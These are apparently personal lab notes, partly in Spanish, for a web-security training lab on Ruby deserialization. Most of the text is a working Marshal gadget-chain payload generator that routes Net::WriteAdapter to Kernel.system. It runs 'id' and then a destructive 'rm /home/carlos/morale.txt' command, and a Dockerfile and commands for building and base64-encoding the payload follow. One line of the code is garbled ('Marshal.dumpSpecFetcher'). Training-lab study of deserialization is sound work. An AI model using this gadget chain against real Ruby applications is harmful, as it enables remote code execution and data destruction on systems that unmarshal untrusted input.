7 - Exploiting Ruby deserialization using a documented gadget chain

PayloadsAllTheThings/Insecure Deserialization at master · swisskyrepo/PayloadsAllTheThings · GitHub

PayloadsAllTheThings/Insecure Deserialization/Ruby.md at master · swisskyrepo/PayloadsAllTheThings · GitHub

# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "id")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dumpSpecFetcher, Gem::Installer, r]
puts payload.inspect
puts Marshal.load(payload)
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt") #Comando a ejecutar

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dumpSpecFetcher, Gem::Installer, r]
puts payload #Así sale en formato correcto

Para poder ejecutar el script de arriba :

# Usa una imagen base de Ruby 2.7
FROM ruby:2.7

# Establece el directorio de trabajo dentro del contenedor
WORKDIR /app

# Copia tu archivo ruby (por ejemplo ruby_deser.rb) al contenedor
COPY ruby_deser.rb /app/ruby_deser.rb

# Instala cualquier dependencia necesaria
RUN apt-get update && apt-get install -y \
  build-essential \
  libssl-dev \
  libreadline-dev \
  zlib1g-dev

# Instala las gemas que necesites, si las tienes en un Gemfile
# Si no tienes un Gemfile, puedes instalar las gemas directamente con gem install
RUN gem install base64

# Comando por defecto para ejecutar el script
CMD ["ruby", "ruby_deser.rb"]
nano ruby_deser.rb

...

docker build -t ruby-exploit .

docker run --rm ruby-exploit | base64 -w 0 ; echo

Si cambiamos el contenido del script se repiten los pasos